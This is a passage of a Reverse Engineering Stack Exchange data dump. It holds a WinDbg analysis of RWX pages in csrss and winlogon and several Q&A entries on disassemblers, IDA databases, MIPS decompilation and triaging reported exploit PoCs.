iirc Winlogon and csrss always had a few RWX pages
\nthe csrss RWX page always seemed to contain lots of initialization _UNICODE_STRING
\nmost of the pages wont be available for viewing you may need to live debug in Phase1Init Stage

\n\n
sxe ibp;.reboot  \n
\n\n

on reboot set bp NtCreateProcessEx until csrss is about to be created
\nbc * ; gu ;!vad on csrss _EPROCESS \ncsrss process at this point wont have the RWX page
\nonly 4 vads will exist in csrss VadTree
\nyou may need to follow from here and catch the allocation / writes and executions

\n\n
           csrss.exe    86acebe0    86d62660  \n86d39250 ( 4) 7f6f0 7f7ef 0 Mapped       EXECUTE_READWRITE  Pagefile-backed section\n
\n\n

this oneliner will fetch you most of the strings in that page

\n\n
.foreach (place { s -[1]b 7f6f0000 l?7000 0x7f } ) { r $t0 = place ; dS @$t0-7}\n
\n\n

output of the above line

\n\n
7f6f2170  \"C:\\WINDOWS\"\n7f6f2190  \"C:\\WINDOWS\\system32\"\n7f6f21c0  \"\\BaseNamedObjects\"\n7f6f2208  \".\u7f6f...\u7f6f\"\n7f6f22b0  \".\u7f6f...\u7f6f\"\n7f6f221c  \"Autorun.inf\"\n7f6f2300  \".\u7f6f02.\u7f6fSoftware\\Microsoft\\Clock\"\n7f6f226c  \"DoesNotExist\"\n7f6f2260  \".\u7f6f\"\n7f6f2368  \"\u30d8\u7f6f...\u7f6f.\u7f6f\"\n7f6f22c4  \"Clock.ini\"\n7f6f23d8  \".\u7f6f68.\u7f6fControl Panel\\Color Scheme\"\n7f6f2418  \"s\"\n7f6f230c  \"Software\\Microsoft\\Clock\"\n
\n\n

the winlogon RWX pages will contain Executble code most of them will start with \npush cx push ax sequence and end with an indirect call to somehwre via jmp eax \nand some intermediate calls to unviewable / non existing locations \nmay need live analysis

\n\n

never observed rwx pages in clean explorer / iexplore / services.exe processos\nthey exist only if some antivirus etc are installed

\n\n

see below for an Avasted RWX page in explorer.exe patching RtlSetCurrentDirectory_U and loading snxhk.dll using LdrLoadDll() this same patch can also be observed in iexplore.exe

\n\n
.shell dir /b scan*vad*\nscanvad4rwx.txt    \nlkd> $$>a< scanvad4rwx.txt\n              System    86fc6830    86fbfa90     \n            smss.exe    86b0e020    86dfd008      \n           csrss.exe    86acebe0    86f4e4d0  \n86d39250 ( 4) 7f6f0 7f7ef 0 Mapped EXECUTE_READWRITE  Pagefile-backed section    \n        winlogon.exe    86d7b918    86d58930  \n86ae8ee0 ( 8)       9550     9553         4 Private      EXECUTE_READWRITE \n86340690 ( 7)      29c90    29c93         4 Private      EXECUTE_READWRITE \n86f370d0 ( 6)      2a4f0    2a4f3         4 Private      EXECUTE_READWRITE \n86b13a38 ( 5)      46580    46583         4 Private      EXECUTE_READWRITE \n86da2a00 ( 6)      497c0    497c3         4 Private      EXECUTE_READWRITE \n        services.exe    86b0a020    86ec15c8  \n86da7c20 (12)        380      380         1 Private      EXECUTE_READWRITE \n               lsass.exe    86b2a6b8    86b21110  \n    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n        explorer.exe    86241260    86b86768  \n86b13d28 (13)         90       90         1 Private      EXECUTE_READWRITE \n86545e50 (11)        2b0      2b0         1 Private      EXECUTE_READWRITE \n86aa6878 (12)        2c0      2ca        11 Private      EXECUTE_READWRITE \n86b056a0 (10)        2d0      2da        11 Private      EXECUTE_READWRITE \n86b3b9c8 (12)        2e0      2ea        11 Private      EXECUTE_READWRITE \n             AvastUI.exe    86315a00    860fc008  \n    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n        iexplore.exe    86aaf020    861b3f00  \n862ae9f8 (16)        150      150         1 Private      EXECUTE_READWRITE \n
\n\n

on rereading i noticed the below output is from a differnt session\nso splitting

\n\n
and examine the memory  using  lkd> .process /p /r 862543e8 &   lkd> uf 150000\n00150000 50              push    eax\n00150001 60              pushad\n00150002 bd42001500      mov     ebp,150042h\n00150007 8b7d10          mov     edi,dword ptr [ebp+10h]\n0015000a 8b4518          mov     eax,dword ptr [ebp+18h]\n0015000d 8b5d1c          mov     ebx,dword ptr [ebp+1Ch]\n00150010 8907            mov     dword ptr [edi],eax\n00150012 895f04          mov     dword ptr [edi+4],ebx\n00150015 897c2420        mov     dword ptr [esp+20h],edi\n00150019 8d454c          lea     eax,[ebp+4Ch]\n0015001c 50              push    eax\n0015001d ff7548          push    dword ptr [ebp+48h]\n00150020 8d4550          lea     eax,[ebp+50h]\n00150023 50              push    eax\n00150024 8d4540          lea     eax,[ebp+40h]\n00150027 50              push    eax\n00150028 6aff            push    0FFFFFFFFh\n0015002a ff5508          call    dword ptr [ebp+8]\n0015002d 85c0            test    eax,eax\n0015002f 750f            jne     00150040    \n00150031 33c9            xor     ecx,ecx\n00150033 8d4538          lea     eax,[ebp+38h]\n00150036 50              push    eax\n00150037 8d4528          lea     eax,[ebp+28h]\n0015003a 50              push    eax\n0015003b 51              push    ecx\n0015003c 51              push    ecx\n0015003d ff5500          call    dword ptr [ebp]    \n00150040 61              popad\n00150041 c3              ret\n
\n\n

put the commands in one line

\n\n
? @$t1+10 ; ? poi(@$t1+10) ; ln poi(@$t1+10); db (@$t1+18) l8; u (@$t1+18)  l3;\n? poi(@$t1+4c) ; ? poi(@$t1+48) ; ? poi(@$t1+50) ;? poi(@$t1+40) ;  lm m ntdll* ;\nln poi(@$t1+8) ; ? poi(@$t1+38); db  (@$t1+28) l8; du /c 40 poi(@$t1+2c) ;\n? poi(@$t1); ln poi(@$t1);.echo patches RtlSetCurwith pattern and sets return \naddress    [esp+20]to patched instruction calls ntvirtproct for a pagein ntdll \non successloads a dll using LdrLoadDll;   \n\nEvaluate expression: 1376338 = 00150052\nEvaluate expression: 2089936810 = 7c91e7aa\n(7c91e7aa)       Exact matches: ntdll!RtlSetCurrentDirectory_U\n0015005a  6a 6c 68 78 e9 91 7c e8                          jlhx..|.\n0015005a 6a6c            push    6Ch\n0015005c 6878e9917c      push    offset ntdll!`string'+0x34 (7c91e978)\n00150061 e81501ffff      call    0014017b\nEvaluate expression: 64 = 00000040\nEvaluate expression: 32 = 00000020\nEvaluate expression: 4096 = 00001000\nEvaluate expression: 2089934848 = 7c91e000\nstart    end        module name\n7c900000 7c9b2000   ntdll      (pdb symbols)          f:\\symbols\\ntdll.pdb\n(7c90d6ee)   Exact matches: ntdll!NtProtectVirtualMemory\nEvaluate expression: 1691353088 = 64d00000\n0015006a  60 00 60 00 9a 00 15 00                          `.`.....\n0015009a  \"C:\\Program Files\\Alwil Software\\Avast5\\snxhk.dll\"\nEvaluate expression: 2089903043 = 7c9163c3\n(7c9163c3)      Exact matches:    ntdll!LdrLoadDll = <no type information>\npatches RtlSetCurwith pattern and sets return address    \n[esp+20] to patched instruction calls ntvirtproct for     \na page in ntdll on success loads a dll using LdrLoadDll\n
\n\n

UPDATE

\n\n

the rwx page in csrss.exe is being created during CSRSRV initialization seems to be heap

\n\n

i set a conditional break after csrss.exe is created on NtAllocateVirtualMemory to print the VadTree on every allocation
\nand i see that the rwx page is inserted while CSRSRV init and a CreateSharedSection is observed in call stack

\n\n
sxe ibp;.reboot\n
\n\n

on reboot bp NtCreateprocessEx and hit g;kb till csrss.exe is about to be created
\nyou can glean the process being created by looking at the unicode_string passed to RtlCreateUserProcess api in the callstack printed
\ndS should print ........................../csrss.exe
\nenter gu go up to allow the process to be created
\n!process 0 1 csrss.exe save eprocess to scratch pad
\n!vad VadRoot
\nyou should observe 4 vads in csrss vad tree

\n\n

now set this conditional breakpoint (substitute the saved eprocess inplace of 0x81160020 note use 0x notation )
\nbp

\n\n
bp nt!NtAllocateVirtualMemory \"!vad @@c++(((nt!_EPROCESS *) 0x81160020)->VadRoot);kb;.echo \\n;dd poi(@esp+8);\"\n
\n\n

if you persist with an access breakpoint you can catch when the rwx page is being added to the ProcessHeapList

\n\n

see below

\n\n

ntdll!RtlCreateHeap+0x5b9:\n001b:7c9253de e8a6000000 call ntdll!RtlpAddHeapToProcessList (7c925489)

\n\n

kd> !heap\nHEAPEXT: Unable to get address of *ntdll!RtlpGlobalTagHeap.\nIndex Address Name Debugging options enabled
\n 1: 00160000
\n 2: 00260000
\nkd>

\n\n
p  step over the call\n
\n\n

ntdll!RtlCreateHeap+0x5be:\n001b:7c9253e3 8b45e4 mov eax,dword ptr [ebp-1Ch]

\n\n
kd> !heap\n
\n\n

Index Address Name Debugging options enabled
\n 1: 00160000
\n 2: 00260000
\n 3: 7f6f0000

\n\n
kd> `!process 0 1 csrss.exe`\nPROCESS `81160020`  SessionId: 0  Cid: 01c4    Peb: 7ffde000  ParentCid: 014c\n    DirBase: 06e30000  ObjectTable: e14a7f38  HandleCount:  10.\n    Image: csrss.exe\n    VadRoot `812275c0 Vads 13` \n
\n\n

dump vadtree

\n\n
kd> `!vad 812275c0`\nVAD     level      start      end    commit\n812201d8 ( 1)          0       ff         0 Private      READWRITE         \n812280e8 ( 2)        100      100         1 Private      READWRITE         \n81229dd0 ( 3)        110      110         1 Private      READWRITE         \n81222a88 ( 4)        120      15f         4 Private      READWRITE         \n811f30b8 ( 5)        160      25f         3 Private      READWRITE         \n81223b80 ( 6)        260      26f         6 Private      READWRITE         \n812275c0 ( 0)      4a680    4a684         2 Mapped  Exe  EXECUTE_WRITECOPY  \\WINDOWS\\system32\\csrss.exe\n811f4fd8 ( 2)      75b40    75b4a         2 Mapped  Exe  EXECUTE_WRITECOPY  \\WINDOWS\\system32\\csrsrv.dll\n811cced0 ( 1)      7c900    7c9b1         5 Mapped  Exe  EXECUTE_WRITECOPY  \\WINDOWS\\system32\\ntdll.dll\n8121f440 ( 3)      `7f6f0    7f7ef         0 Mapped       EXECUTE_READWRITE`  Pagefile-backed section\n81167108 ( 2)      7ffb0    7ffd3         0 Mapped       READONLY           Pagefile-backed section\n811e1d30 ( 4)      7ffdd    7ffdd         1 Private      READWRITE         \n811e21b0 ( 3)      7ffde    7ffde         1 Private      READWRITE         \n\nTotal VADs:    13  average level:    3  maximum depth: 6\n
\n\n

dump call stack

\n\n
kd> kb\nChildEBP RetAddr  Args to Child              \n0015fda4 75b437b8 00007008 7f6f0000 00100000 ntdll!RtlCreateHeap+0x5be\n0015fe28 75b42f9a 001626dd 00000000 00000000 CSRSRV!CsrSrvCreateSharedSection+0x23f\n0015ff74 75b430f3 0000000a 001624f0 7c90dc9e CSRSRV!CsrParseServerCommandLine+0x255\n0015ff88 4a68115d 0000000a 001624f0 00000005 CSRSRV!CsrServerInitialization+0x95\n0015ffa8 4a6818d7 0000000a 001624f0 0016251c csrss!main+0x4f\n0015fff4 00000000 7ffde000 000000c8 00000166 csrss!NtProcessStartup+0x1d2\n
\n\n

list of breakpoints

\n\n
kd> bl\n 0 e 8058124c     0001 (0001) nt!NtCreateProcessEx\n 1 e 805691ea     0001 (0001) nt!NtAllocateVirtualMemory \"!vad @@c++(((nt!_EPROCESS *) 0x81160020)->VadRoot);kb;.echo \\n;dd poi(@esp+8);\"\n 2 e 7f6f0000 w 1 0001 (0001)\n
\n\n

you can follow this methodology with winlogon further below in the chain

\n\n

update to answer comment

\n\n

the breakpoint @NtAllocateVirtualMemory did not catch the allocation of vad 12
\nwhich was RWX allotment from vad11 my breakpoint got hit only when vad 13 was allocated
\nand printing vadtree i found that the vads had increased by 2 and one of them was the 7f6f0000 rwx page so maybe another way is used to add the vad to vad tree insted of NtAllocateVirtualMemory it is possible that rwx needs to be reset and isnt being reset needs investigation

\n\n

i can only confirm that the page is indeed HEAP and seems to mapped in almost every process\nwith EXECUTE_READ permissions on all the process vads except in csrss where it is RWX

\n\n
lkd> .logopen c:\\check7f6f0page.txt\nOpened log file 'c:\\check7f6f0page.txt'\nlkd> !for_each_process \".process /p /r @#Process ; !grep -c \\\"!vad @@c++( ( ( nt!_EPROCESS *) @#Process )->VadRoot)\\\" -e \\\"7f6f0\\\"\"\nlkd> .logclose\nClosing open log file c:\\check7f6f0page.txt\n
\n\n

results show this page is mapped in all process

\n\n
lkd> .shell grep \"7f6f0    7f7ef         0 Mapped\" c:\\check7f6f0page.txt\n<.shell waiting 1 second(s) for process>\n86d39250 ( 4)      7f6f0    7f7ef         0 Mapped       EXECUTE_READWRITE  Pagefile-backed section\n86d39250 ( 4)      7f6f0    7f7ef         0 Mapped       EXECUTE_READWRITE  Pagefile-backed section\n86e87fd8 ( 4)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n86e87fd8 ( 4)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n86b96d10 ( 3)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n86b96d10 ( 3)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n86abfe80 ( 3)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n86abfe80 ( 3)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n86eaf3a8 ( 3)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n86eaf3a8 ( 3)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n86b3fda8 ( 4)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n86e77b20 ( 2)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section\n
\n\n

and confirms to structure _HEAP

\n\n
lkd> dt -r nt!_HEAP 0x7f6f0000\n   +0x000 Entry            : _HEAP_ENTRY\n      +0x000 Size             : 0xc8\n      +0x002 PreviousSize     : 0\n      +0x000 SubSegmentCode   : 0x000000c8 Void\n      +0x004 SmallTagIndex    : 0x1e ''\n      +0x005 Flags            : 0x1 ''\n      +0x006 UnusedBytes      : 0 ''\n      +0x007 SegmentIndex     : 0 ''\n   +0x008 Signature        : 0xeeffeeff\n   +0x00c Flags            : 0x7008\n   +0x010 ForceFlags       : 8\n   +0x014 VirtualMemoryThreshold : 0xfe00\n   +0x018 SegmentReserve   : 0x100000\n
\n\n

dump of 7f6f0000

\n\n
lkd> dd 7f6f0000 l1c/4\n7f6f0000  000000c8 0000011e eeffeeff 00007008\n7f6f0010  00000008 0000fe00 00100000\n
\n\n

and you can confirm this pattern is indeed heap if you look at ntdll!RtlCreateHeap

\n\n
lkd> !grep -c \"uf ntdll!RtlCreateHeap\" -e \"ebp-24h\"\n7c925dcd c745dc88050000  mov     dword ptr [ebp-24h],588h\n7c925de7 c745dcc0050000  mov     dword ptr [ebp-24h],5C0h\n7c925e87 8145dc80000000  add     dword ptr [ebp-24h],80h\n7c925eb1 8b75dc          mov     esi,dword ptr [ebp-24h]\n7c93c079 0145dc          add     dword ptr [ebp-24h],eax\n
\n\n

dis assemble where the address is used

\n\n
lkd> u 7c925eb1\nntdll!RtlCreateHeap+0x421:\n7c925eb1 8b75dc          mov     esi,dword ptr [ebp-24h]\n7c925eb4 83c607          add     esi,7\n7c925eb7 83e6f8          and     esi,0FFFFFFF8h\n7c925eba 8bc6            mov     eax,esi\n7c925ebc c1e803          shr     eax,3\n7c925ebf 8b4de4          mov     ecx,dword ptr [ebp-1Ch]\n7c925ec2 668901          mov     word ptr [ecx],ax\n
\n\n

evaluate the expression

\n\n
lkd> ? ((588 + 80 >> 3) + 7)  & 0x0fffffff8 \nEvaluate expression: 200 = 000000c8\n
\n\n

update

\n\n

the RWX page in csrss is _CsrSrvSharedSectionHeap == _CsrSrvSharedSectionBase
\nthat specifc value is queried from registry and mapped with NtMapViewOfSection
\nor a Section Created using NtCreateSection\nall of this happens under
\ncsrss!main ->csrsrv.dll ->CsrsrvCreateSharedSection

\n\n
reg query \"hklm\\system\\currentcontrolset\\control\\session manager\\subsystems\\csrss\"\n! REG.EXE VERSION 3.0    \nHKEY_LOCAL_MACHINE\\system\\currentcontrolset\\control\\session manager\\subsystems\\csrss\n        CsrSrvSharedSectionBase     REG_DWORD       0x7f6f0000\n
\n" }, { "Id": "3443", "CreationDate": "2014-01-12T22:56:08.513", "Body": "

One of the major hurdles of x86 disassembly is separating code from data. All available open-source disassembly library only perform a straight line disassembly (starts from the top and skips errors by 1 byte), compared with OllyDBG which apparently uses a control flow disassembly (using opcodes like CALL and JMP) or IDA using heuristics and emulation. However these two aren't open-source.

\n\n

My question is, is there any open-source library or project that uses a better technique than simple straight line disassembly (control flow or heuristics based) ?

\n\n

I stumbled upon a paper using a machine learning approach ? is there an open-source implementation of this approach ?

\n", "Title": "Open-Source library for Complete Binary Disassembly", "Tags": "|disassembly|x86|", "Answer": "

Another OpenSource library that might of interest.

\n\n

Capstone Engine

\n\n

It supports several architectures, such as x86 (+AMD64), ARM, PowerPC and SPARC.

\n" }, { "Id": "3444", "CreationDate": "2014-01-13T02:36:33.147", "Body": "

I have newbie question that concerns IDA pro and Visual studio 2010. Basically I started a new \"Empty Project\" in VS 2010 and added a main function to the .cpp file. Then I compiled it to binary and opened up the binary using IDA Pro. However, I could not locate the main function. Why is that?

\n", "Title": "Could not find main function in IDA pro?", "Tags": "|ida|disassembly|windows|", "Answer": "

start is the address that IDA pulls from the file header. For PE files this corresponds to (AddressOfEntryPoint + ImageBase). start != main, main is language (C/C++) specific requirement, not all languages require \"main\".

\n\n

One of the jobs of the code that executes between start and main is to setup all the arguments that main expects (argc, argv, envp) in the manner that main expects to receive them according to the calling conventions of the platform for which the binary was built.

\n\n

IDA attempts to locate main for you because you are often not interested in the code between start and main which is generally just compiler boiler plate code. In some cases IDA will note that there is a symbol named main and just drop you there. In other cases, IDA does what is effectively signature matching against the start code to pick out the address of main. Compilers tend to have unique ways of reaching main, so if (a big if) IDA has a signature for a specific compiler, then it may be able to pick main out for you.

\n\n

You don't mention whether you are using IDA on the Debug or Release version of your binary. In my experience with IDA/Visual Studio, IDA will have a tough time finding main on Debug builds and does a better job on Release builds. If you compare the two different .exe files, you will see that they are vastly different. Specifically flow through Debug builds is much more complicated than through Release builds.

\n" }, { "Id": "3451", "CreationDate": "2014-01-13T17:11:10.477", "Body": "

I'm reversing an application with IDA.\nMy VM crashed and left the IDA database in a corrupted unpacked state.

\n\n

The next time I tried to load it back, IDA gave me the following error message: The input database is corrupted: CRC32 mistmatch. Continue? a few times, then it quit with the error bTree error: index file is bad. Google-ing these error messages gave no useful results, which is unusual.

\n\n

I'ld like restore the database, or at least extract the data somehow.

\n\n

I've already tried the following:

\n\n\n\n

At this point I'm thinking of somehow parsing the IDB and then diffing that output manually.

\n\n

So, how can I parse/extract data from IDB files?

\n\n

Related.

\n", "Title": "Parsing/Rescuing corrupted IDA database", "Tags": "|ida|binary-analysis|file-format|struct|hex|", "Answer": "

I published some tools on github which can do just that: https://github.com/nlitsme/pyidbutil and https://github.com/nlitsme/idbutil.\nThe first is written in python, the second in C++, both have similar functionality.

\n\n

pyidbutil provides the most low level recovery options: using --pagedump you can dump each page in the file without the need of an intact logical file structure.

\n" }, { "Id": "3452", "CreationDate": "2014-01-13T17:15:33.590", "Body": "

Recently I lost an important IDA database. Up until now, I manually made a copy of my work IDB every day, but that's obviously not a good backup technique. I was wondering how do you manage/backup your IDB. Like make a copy of the current IDB every minute or something like that.

\n", "Title": "How do you manage/backup your IDA database?", "Tags": "|ida|", "Answer": "

The recently added database snapshot feature allows you to set up periodical snapshots of your database.

\n\n

\"IDA

\n" }, { "Id": "3457", "CreationDate": "2014-01-14T12:50:48.203", "Body": "

IDA can disassemble to assembly. But, reading large assembly blocks with byte shifts, etc, is tedious work. I rather would read pseudo-code.

\n\n

Are there any documents, tutorials or tools for this work targeting MIPS platform? What methods are you people using ? Sorry if this question is off-topic but normal Google search didn't yield much for MIPS.

\n\n

Edit: I try to decompile modem firmware image and look for default telnet password actually since WebUI passwords dont work and my ISP does not know it too.

\n", "Title": "Is it possible to convert MIPS ASM to code?", "Tags": "|ida|assembly|decompiler|mips|", "Answer": "

try use https://github.com/drvink/epanos
\nfrom project page ElectroPaint Automatic No-source Object reaSsembler (a MIPS to C decompiler)\nThis is a very dumb MIPS to C static translator. Consider it a proof of concept, as it has successfully worked \nThe decompiler depends on IDA pro

\n\n

best way is use IDA PRO & your brain

\n" }, { "Id": "3468", "CreationDate": "2014-01-16T03:48:21.593", "Body": "

In Visual Studio I have written simple code,

\n\n
int pranit = 2;\nint& sumit = pranit;\n\nint main(int argc, char** argv) {\n    sumit++;\n    return sumit;\n}\n
\n\n

I used OllyDbg to Disassamble, but I am not able to find where sumit, pranit are defined in assembly. Though doing some string search I got following details:

\n\n
Names in ConsoleA, item 313  Address=013B8004  Section=.data \nType=Library  Name=sumit\n\nNames in ConsoleA, item 257  Address=013B8000  Section=.data \nType=Library  Name=pranit\n
\n\n

How to find, where and how it is used in assembly code. Also, I want to find out both address and value of these global variables.

\n", "Title": "How to find how global variables defined in binary", "Tags": "|disassembly|debuggers|binary-analysis|c++|", "Answer": "

opening a vc commandprompt using

\n\n
start->programs->vc->vc command prompt\n
\n\n

Setting environment for using Microsoft Visual Studio 2010 x86 tools.\ncreating a tempdir in desktop for compiling and linking

\n\n
C:\\Program Files\\Microsoft Visual Studio 10.0\\VC>cd \"c:\\Documents and Settings\\Admin\\Desktop\"\nC:\\Documents and Settings\\Admin\\Desktop>md pran\nC:\\Documents and Settings\\Admin\\Desktop>cd pran\nC:\\Documents and Settings\\Admin\\Desktop\\pran>copy con prankasum.cpp\n^Z\n        1 file(s) copied.\nC:\\Documents and Settings\\Admin\\Desktop\\pran>write prankasum.cpp    \nC:\\Documents and Settings\\Admin\\Desktop\\pran>type prankasum.cpp\n#include <stdio.h>\nint pranit = 2;\nint& sumit = pranit;\nint main(int argc, char** argv)\n{\nsumit++;\nreturn sumit;\n}    \nC:\\Documents and Settings\\Admin\\Desktop\\pran>dir /b\nprankasum.cpp    \nC:\\Documents and Settings\\Admin\\Desktop\\pran>cl /nologo /Zi prankasum.cpp /link /RELEASE\nprankasum.cpp    \nC:\\Documents and Settings\\Admin\\Desktop\\pran>dir /b\nprankasum.cpp\nprankasum.exe\nprankasum.obj\nprankasum.pdb\nvc100.pdb\n
\n\n

opening the exe in ollydbg and navigating to main
\ntab the comment column to show source and in debugging options ask ollydbg to use recogneized args and locals

\n\n
C:\\Documents and Settings\\Admin\\Desktop\\pran> ollydbg prankasum.exe      \n00401000  >PUSH    EBP                          ; {\n00401001   MOV     EBP, ESP\n00401003   MOV     EAX, DWORD PTR DS:[sumit]    ; sumit++;\n00401008   MOV     ECX, DWORD PTR DS:[EAX]\n0040100A   ADD     ECX, 1\n0040100D   MOV     EDX, DWORD PTR DS:[sumit]\n00401013   MOV     DWORD PTR DS:[EDX], ECX\n00401015   MOV     EAX, DWORD PTR DS:[sumit]    ; return sumit;\n0040101A   MOV     EAX, DWORD PTR DS:[EAX]\n0040101C   POP     EBP                          ; }\n0040101D   RETN\n
\n\n

or in windbg

\n\n
prankasum!main:\n00401000 55              push    ebp\n0:000> uf @eip\nprankasum!main [c:\\documents and settings\\admin\\desktop\\pran\\prankasum.cpp @ 5]:\n    5 00401000 55              push    ebp\n    5 00401001 8bec            mov     ebp,esp\n    6 00401003 a104b04000      mov     eax,dword ptr [prankasum!sumit (0040b004)]\n    6 00401008 8b08            mov     ecx,dword ptr [eax]\n    6 0040100a 83c101          add     ecx,1\n    6 0040100d 8b1504b04000    mov     edx,dword ptr [prankasum!sumit (0040b004)]\n    6 00401013 890a            mov     dword ptr [edx],ecx\n    7 00401015 a104b04000      mov     eax,dword ptr [prankasum!sumit (0040b004)]\n    7 0040101a 8b00            mov     eax,dword ptr [eax]\n    8 0040101c 5d              pop     ebp\n    8 0040101d c3              ret\n0:000> dv\n           argc = 0n1  argv = 0x00033ba8\n0:000> ?? sumit     int * 0x0040b000\n0:000> ?? pranit    int 0n2\n0:000> pct    0040101d c3              ret\n0:000> ?? sumit    int * 0x0040b000\n0:000> ?? pranit    int 0n3\n0:000> x /t /v /q prankasum!sumit\nprv global 0040b004    4 int * @!\"prankasum!sumit\" = 0x0040b000\n0:000> x /t /v /q prankasum!pranit\nprv global 0040b000    4 int @!\"prankasum!pranit\" = 0n3\n
\n\n

update

\n\n

explanation for tabbing through comment column

\n\n

each mdi window in ollydbg has a bar in top it can be hidden or shown

\n\n
right click -> appearance -> show bar / hide bar\n
\n\n

each of the bars have columns and many of the colums can be configured to show different \nitems in cpu window if you repeatedly click the comment column it will cycle through

\n\n
comment / profile/ and source\n
\n\n

comment will show all the

\n\n
analysis comments / user comments\n
\n\n

profile will show all the run trace / hittrace/ module and global profile statistics

\n\n

for example this strcpy_s was called 50 times during crt initialisation

\n\n
004019EC   |.  >|CALL    prankasu.strcpy_s           ;  50.\n
\n\n

inside this call this loop was called ~2700 times

\n\n
00403D45   /MOV     CL, BYTE PTR DS:[EAX]       ;  2787.\n00403D47   |MOV     BYTE PTR DS:[ESI+EAX], CL   ;  2787.\n00403D4A   |INC     EAX                         ;  2787.\n00403D4B   |TEST    CL, CL                      ;  2787.\n00403D4D   |JE      SHORT prankasu.00403D52     ;  2787.\n00403D4F   |DEC     EDI                         ;  2737.\n00403D50   \\JNZ     SHORT prankasu.00403D45     ;  2737.\n00403D52   TEST    EDI, EDI                     ;  50.\n
\n\n

if you cycle through to source column

\n\n
strcpy_s is from vc\\crt\\stdenvp.c:133.  _ERRCHECK(_tcscpy_s(*env, cchars, p));\n
\n\n

see below

\n\n
004019E9   |PUSH    ESI           ; _ERRCHECK(_tcscpy_s(*env, cchars, p));\n004019EA   |PUSH    EBX\n004019EB   |PUSH    EAX\n004019EC   |CALL    prankasu.strcpy_s\n004019F1   |ADD     ESP, 0C\n
\n\n

loop is from vc\\crt\\tcscpy_s_inl

\n\n
00403D41   MOV     ESI, EDX        ; while ((*p++ = *_SRC++) != 0 && --available > 0)\n00403D43   SUB     ESI, EAX\n00403D45   /MOV     CL, BYTE PTR DS:[EAX]\n00403D47   |MOV     BYTE PTR DS:[ESI+EAX], CL\n00403D4A   |INC     EAX\n00403D4B   |TEST    CL, CL\n00403D4D   |JE      SHORT prankasu.00403D52\n
\n\n

cycling to comment back you see

\n\n
004019E9   |.  56    |PUSH    ESI                         ; /Arg3 = 7C90DE6E\n004019EA   |.  53    |PUSH    EBX                         ; |Arg2 = 00000000\n004019EB   |.  50    |PUSH    EAX                         ; |Arg1 = 00000000\n004019EC   |.  E8 1D>|CALL    prankasu.strcpy_s           ; \\strcpy_s\n
\n\n

options->debugging options->cpu->select show symbolic address will make \nXXXXXX [40xxxx] to be shown as

\n\n
xxxxxx [sumit]\n
\n\n

options ->debugging options->analysis->select show args and locals in procedure will make all ebp+XX to arg.1 arg.2 and all ebp-XX to local.1 local.2

\n\n
both ollydbg 1.10 and 2.01 behave similarly\n
\n\n

full or partial (stripped down )symbolic information in any acceptable format (map tds pdb dbg ) is **mandatory** **requirement**

\n" }, { "Id": "3471", "CreationDate": "2014-01-16T13:52:56.277", "Body": "

My daily job is analyzing reported proof of concept files that exploits document viewers. People who report vulnerabilities in document viewers just give me the PoC and vulnerable version number. They usually fuzz stuff and find offset that leads to stack overflows etc. Which means they do not give me info about the root cause of the vuln. So only with the vulnerable binary and the PoC, I need to analyze following things:

\n\n
    \n

  1. Does the PoC actually work?

    2. \n

  2. In which part of the binary is vulnerable? (ex. no argument checking in function A ... blah blah; I need to know this because I have to contact the vendor to fix the vuln)

    3. \n
\n\n

I am new to this field and currently this is how I do it(I analyze in XP).

\n\n
    \n

  1. Run the PoC

    2. \n

  2. look at the call stack when there is a exception->follow them

    3. \n

  3. Check whether SEH is corrupted -> set breakpoint on the corrupted SEH to find the instruction that overflows the stack

    4. \n
\n\n

By playing around I can find the assembly instruction that triggers the exploit. However, it is hard to backtrack all the way to the root cause. Assembly instruction that overflows is usually in the library but the vuln is not the library, it is the user program that maliciously called the library right?

\n\n

I don't know if I made my point clear but need some tips doing this kind of reverse engineering.

\n", "Title": "Do you have tips analyzing reported PoC(exploit) files?", "Tags": "|exploit|vulnerability-analysis|seh|", "Answer": "

First, your platform is very important ( mine is Windows )

\n\n

In Windows WinDbg + !exploitable is one of fast analyze options.\nit is here

\n\n

Additionally I use WinDbg + !analyze to determine standard name of bug...\nit is default WinDbg extension.

\n\n

Finally, as the nature of bugs is unknown (in your case) it is not an easy way to detect root cause.

\n" }, { "Id": "3473", "CreationDate": "2014-01-17T19:16:10.480", "Body": "

I am told that tools like IDA Pro are static disassembly tool,\nand tools like OllyDbg are dynamic disassembly tool.

\n\n

But from the using experiences on these tools, I don't think there \nis any difference between the tools in disassembly procedure.

\n\n

Basically all you need to do is load binary file into IDA or OllyDbg, \nand they will use certain recursive disassembly algorithm to disassembly\nthe binary and give you the output.

\n\n

Am I wrong..? Then what is the difference between static disassembly \nand dynamic disassembly..?

\n\n

Thank you!

\n", "Title": "What is the difference between static disassembly and dynamic disassembly?", "Tags": "|ida|disassembly|ollydbg|disassemblers|", "Answer": "

I actually don't think that there was any mix up. In fact, there exist two disassembly techniques : static & dynamic. The definitions provided here come from this 2003 publication on code obfuscation : http://www.cs.arizona.edu/solar/papers/CCS2003.pdf

\n\n\n\n

This link (http://www.maqao.org/publications/madras_techreport.pdf) provides an interesting coverage of techniques used by some disassemblers & binary instrumenters. Though it is not exhaustive and doesn't directly answer your question, you'll find more references to check.

\n\n

About dynamic & static binary analysis, these two techniques are mainly performed for profiling applications. The purpose is to acquire information about hot spots, memory access patterns, ...

\n\n\n\n

Many tools perform both the latter techniques : Intel's VTune, MAQAO, DynInst, gprof, ...

\n\n

I myself have written a GCC plugin, which you can find on my Github under the path /yaspr/zebuprof, which does instrumentation at the source level and performs static & dynamic analysis.

\n\n

I hope this clarifies things a bit.

\n" }, { "Id": "3476", "CreationDate": "2014-01-18T21:06:45.170", "Body": "

